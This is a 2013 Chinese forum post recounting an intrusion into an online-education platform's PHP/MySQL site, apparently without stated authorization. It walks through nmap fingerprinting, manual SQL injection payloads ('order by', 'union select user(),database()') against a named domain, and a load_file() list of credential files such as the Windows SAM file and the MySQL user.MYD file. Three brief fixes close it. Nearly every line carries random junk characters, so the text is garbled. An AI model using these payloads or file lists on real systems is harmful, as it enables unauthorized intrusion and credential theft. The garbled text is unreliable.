中国网络渗透测试联盟

标题: 记一次Linux系统PHP注入入侵检测 [打印本页]

作者: admin    时间: 2013-2-16 22:23
标题: 记一次Linux系统PHP注入入侵检测
题记:( y( C( l: D. ]
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
8 ~! T" y$ N2 s& I( o4 ^3 ?* ~第一步:获取需要的信息, p8 t9 {- R5 ?$ C
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。/ R3 ?" j8 d( h1 @' F
注:以下为保护特用XXX代替敏感信息
4 U) \4 R- k6 A顺手先PING了一下他们的域名:6 I% b4 O4 T0 {; h7 s; r0 |8 i7 i
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
! @1 K' p2 a- e1 T/ x2 ]2 @64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
. {3 z( u7 C7 j+ G5 ]9 w& h/ u: Q顺便了解一下TTL,学好基础知识才能一路顺风:' N4 V  p3 G9 _# p+ ~: J3 a& D% c
TTL:(Time To Live ) 生存时间
& H+ V5 f: h7 ]5 T* s: `1 O% n指定数据包被路由器丢弃之前允许通过的网段数量。9 J  A8 ]2 e" u! M
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。0 m. r* |* E, o/ t) \
使用PING时涉及到的 ICMP 报文类型
' f1 ^6 F. N' H; ~/ K9 V* D一个为ICMP请求回显(ICMP Echo Request)7 l& z1 k  ^( e- U$ v
一个为ICMP回显应答(ICMP Echo Reply)
7 j+ V# x% K( uTTL 字段值可以帮助我们识别操作系统类型。
3 k8 @+ K( Y3 f* }- _) ^- ZUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255+ O" p0 T9 v! i) h
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 643 z2 M) \$ N+ t: ^  z/ ?, u: h
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128: N* A& `$ H2 h" m+ x6 U& s
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
5 u5 g( V' ?8 L6 c5 v% Y# R当然,返回的TTL值是相同的8 g+ E* E# o1 J& a& t& m
但有些情况下有所特殊
- e/ G' u( J3 p5 vLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 645 F) _2 D$ y! b$ h5 t- y3 _' y$ |
FreeBSD 4.1, 4.0, 3.4;
/ ], N9 b/ }' h1 x  O/ c1 ~Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
" [; g( U- Q# d8 h; S! R& B& l( UOpenBSD 2.6, 2.7,* m4 K& t7 y& V4 j+ w# s' M8 o+ i
NetBSD. j5 W+ H) @/ q+ W* L
HP UX 10.20( X" o& d2 B8 w" x% x
ICMP 回显应答的 TTL 字段值为 255
* y2 Z' J4 e8 a. M# E( `Windows 95/98/98SE
' a) j8 T% f/ N; c" x5 hWindows ME% o" f0 q" w7 M- y' G4 ~* c# ~6 n8 m8 r
ICMP 回显应答的 TTL 字段值为 327 v9 j: z. t5 ]6 V1 h, H. G
Windows NT4 WRKS) U* O7 ~4 o; O& {
Windows NT4 Server
0 t- A3 b6 P% V+ D: _4 JWindows 20009 y& J2 p% D) g
Windows XP
% Z5 m- s8 ]* }7 [) T6 C' yICMP 回显应答的 TTL 字段值为 1287 y" t* u( m- m1 ?3 T0 f
这样,我们就可以通过这种方法来辨别操作系统
* P0 t9 N5 l& v) T6 j7 h+ M. ITTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
2 c- ]9 u& N: L9 ~用NMAP扫描一下:7 j) O, k/ c( J0 P# C
nmap -sT -O XXX.XXX.XXX.XXX
' V0 P9 n4 E# \# z6 U% W3 X) X如果没有装WinPcap则会弹出提示:! u- K8 m5 k6 m
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr- n! m" g% f$ z' \# e- j
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
3 _7 k; W) n0 [( q  i. u% ^4 R) mode — Nmap may not function completely3 c- Q& @5 D" d$ G- Y
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
" q) }5 e' d1 |! ^' ]* Kand iphlpapi.dll be installed. You seem to be missing one or both of these.  Win$ N) i  U2 H+ o& x/ U& ~. T9 S9 ^
pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
, X0 k6 [, D- R: [d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v2 q+ m$ W% C+ u/ E( ~# Q
ersions, you may be able to take iphlpapi.dll from another system and place it i
6 B- ^# K1 S! kn your system32 dir (e.g. c:\windows\system32)." @1 V8 F; K9 j; _8 L! M% t
QUITTING!
) O* m0 O! I+ }' L# P: @2 w% R到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe2 r6 y4 }, u( v" l2 V( w1 S
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
# i6 r  ~; a! ]3 v( M( g$ H) WInteresting ports on XXX.XXX.XXX.XXX:% r; k4 n) A2 ?, v* V% u
Not shown: 986 closed ports2 f' Z, @! l4 _! L3 S$ l3 }
PORT     STATE    SERVICE
  [! e3 y# N0 V; k% Y  X/ r- ^21/tcp   open     ftp& x& m/ G' d: b) x- \
22/tcp   open     ssh/ k; l$ B/ x/ j3 v0 o- q0 F
23/tcp   open     telnet, R* `' @/ q% k3 i/ ]9 d5 C+ L8 K
80/tcp   open     http
( D+ v+ `1 U) O111/tcp  open     rpcbind
  K" u( Z# v, q: c9 D135/tcp  filtered msrpc
/ x6 C: F! h9 X, `$ _& D139/tcp  filtered netbios-ssn# g9 B, r2 `+ h2 P( c  `
445/tcp  filtered microsoft-ds3 X2 Y( Z5 d6 J! e% D
513/tcp  open     login
! G% L$ }; N  n/ O, w3 Y3 Z514/tcp  open     shell5 ?# _' Z6 x/ Z3 ?/ l- Q
593/tcp  filtered http-rpc-epmap
' n5 V* j! J7 n# n1720/tcp filtered H.323/Q.931
4 l& L2 Y- q; Q: {* s8 y3306/tcp open     mysql
7 `$ M- M8 J8 U; j4444/tcp filtered krb5247 c1 o6 K( O5 g1 {3 w/ s8 S
Device type: WAP
1 q# V+ o* |% C$ N8 Z' ]- @3 ]. gRunning: Linux 2.4.X
) Y, S6 @; ^/ }( ZOS details: DD-WRT (Linux 2.4.35s)* v; y; X. R  h2 f# |7 [
Network Distance: 13 hops
( [/ X5 n7 B. ?1 l+ I# x/ x看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:5 p+ y. y- |  a6 P
login as:7 A- f; P# f  U. N2 ^7 Y$ i
Telnet23端口也是开着的,用telnet 命令链接一下:
4 f# {: H) i3 Ptelnet XXX.XXX.XXX.XXX7 F) I# V3 s, Q( ^6 w
提示:5 H5 v) K: e: h) G
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
" o7 E: m2 h5 ]Kernel 2.6.18-92.el5PAE on an i686
6 Q4 L8 Z, D; [! blogin:, \7 e+ k# B1 m! ~
获取HTTP头信息:4 K; k) J9 d+ N" ^" C3 T" c/ q
在本地执行如下PHP代码! R& r0 [' y( E
<?php1 C. V2 P7 \5 P
$url = ‘XXX.XXX.XXX.XXX’;
: k- b+ L7 ?* ~# M. t, o/ Lprint_r(get_headers($url));
  m2 B  z; v/ j" J, }# Wprint_r(get_headers($url, 1));4 v& Y; K5 N+ h: g8 Z. U
?>$ p8 {2 o; ]* f. b
将以上代码保存为PHP文件,执行:! F: I7 y; K# e1 G& Z
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
8 j4 B/ ]8 g! \4 I- e$ d& v现在可以得出结论:7 \" K0 H; j+ L$ ~2 {) T
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)6 S: n0 d4 }  M4 b* \
内核版本:Kernel 2.6.18-92.el5PAE on an i686
5 `" I6 i$ \0 v$ _% ?WEB服务器版本:nginx/0.7.610 Y4 `. w: n, o/ {" M" S
第二步,开始测试寻找漏洞
) y2 \$ m& x! \分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。: |% W( I+ f# r  p# j% O! D) W
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
6 M2 R- e- W1 y2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
/ N' ^! N  I4 G* {http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
. [- g! Y& y5 R; K6 @7 w* E# \http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误* R% E1 ^: {8 ~, M2 M- R8 g
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续$ g7 ]) d9 h; a
3、手工注入:7 l  o& E& ^3 i' G
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。2 Z: t9 p, O+ U) [0 E5 l8 w
3.1 猜测当前表字段数# `  l* [7 {; h) C2 y( n
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
3 V$ {0 d2 O1 O: C% c! a5 l1 K此处猜测有个简单的算法,都是有技巧的吗,呵呵
! U8 D2 }/ I6 h' a4 K7 a. W算法简单如下:3 W2 \9 [& ~- N5 Y* p% r1 I
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
4 m$ B% O/ f) H* f! N6 _% o第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
4 ^! \' `% q" I; ]# t5 Y! V需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
6 m! ~) _1 U2 c" C7 ]+ J( l以此来判断,是否过界,配合取中算法猜出字段数。3 W0 k8 p4 K+ E) i( x
举例:) e- _- f/ B% {
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
2 y! @# W. @. l( X, uhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
, _# }; y" W8 V* d6 x此时3则为我们要找的字段数。, y( x( D2 ]$ B3 l6 C
3.2 配合union联合查询字段在页面所位置# `7 K! x( Q8 U
我们已经知道了字段数为3,此时则可以做如下操作:
& l: s* K7 \; @8 {# s: w% M, Whttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3. _. H, _# z4 u& u& Z0 ^
* s6 H- A/ G/ l, e. e: |4 E8 x
这样就可以测试到哪些字段在页面上有所显示了,如图:
: F4 c6 j$ k4 ^" N5 F1 V* y) A4 X  f6 Q8 i0 c& x5 S
3.3 查敏感信息+ a- \+ U' c) N4 o9 Y
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
9 Q0 _6 \, [; d+ Ahttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()1 X* `+ b% O$ ^$ L" I
3.3.1 先查数据库用户、数据库名,以备后用,如图:( h' o, d* }  b- x

1 X& h6 J5 ?9 P- {7 c得到数据库用户为root、数据库名为DBxx;" p* J7 e0 ?' V: ~$ W4 L: A0 k
3.3.2 查配置文件- Z7 F  }$ [9 q6 A' Z1 s
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。& K5 g3 a8 ~7 f" Q6 Z0 B0 C# x6 u1 ~8 T
查看文件有一定的条件限制:
1 i3 o2 S7 Y) @2 u4 |' F欲读取文件必须在服务器上6 p- D% I, {  `, _# V
必须指定文件完整的路径
1 h" M6 Z1 `0 @* ?必须有权限读取并且文件必须完全可读
6 S' s+ P9 m/ b8 P. j2 m欲读取文件必须小于 max_allowed_packet& y3 ]% F' B* b, g0 z, g
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
' W( |+ [* |( O' w% u; L1 `常用的一些:3 L" g/ q! U5 @, A5 t; w/ h
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件6 [1 g5 A) V6 v! w. s
/usr/local/apache2/conf/httpd.conf
& x" I+ z" _" J  F: n8 i+ y/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
0 x+ [4 \0 \) v1 [) I1 Z/usr/local/app/php5/lib/php.ini //PHP相关设置# y5 h5 c+ ]0 y) R+ M6 A* L
/etc/sysconfig/iptables //从中得到防火墙规则策略
7 v% x& O/ n# k4 c1 q1 T4 M/etc/httpd/conf/httpd.conf // apache配置文件- R% p, e! q! g% G# w
/etc/rsyncd.conf //同步程序配置文件
, ?: B; G/ C: W: x( m" D7 |# ?/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
2 v8 a4 Y/ \7 }  ^, V+ @5 _9 ]  p. a/etc/my.cnf //mysql的配置文件3 p- Y- M) T, y; @
/etc/redhat-release //系统版本9 L2 @1 B& a: [1 k3 T) D: C
/etc/issue
& t* Z! ?2 o- q% n8 e2 |( G% n7 ?/etc/issue.net# |/ }' I6 J+ G- p+ x! N2 k6 ]  N
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
' ~. e' k7 n! Ec:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码! L/ t9 }6 _1 V$ _( V) n
c:\Program Files\Serv-U\ServUDaemon.ini
  A: G0 K1 d/ y9 X" ~c:\windows\my.ini //MYSQL配置文件$ a; U4 ~* D" H& [- B! ?
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
6 T0 e: ?. P2 J等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
( D& ^( ~* ]$ f( ^- {, Uc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码* V1 ~! p  S: }7 ^, R
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此+ K0 @6 _* g) f* C" k
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
* H/ l( t' D! n  L6 O4 U& x2 B8 TC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件! r! o; A6 ^% m0 T5 Y$ e
//存储了pcAnywhere的登陆密码
, R& \! ~; I( ]$ e由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
( U7 g* S# ~3 E* _' t$ f这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。$ M) c6 G8 Q% g7 {" B# H
最后:防范措施
9 i( n9 A0 f* D& R6 m" ^  R8 ?1、修复PHP注入漏洞;
6 p$ @3 s. w7 _4 Q; R# f2、Mysql使用普通权限的用户;
5 O5 g% d+ m6 e0 V8 J0 Z: h3、升级linux内核至最新版本;




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2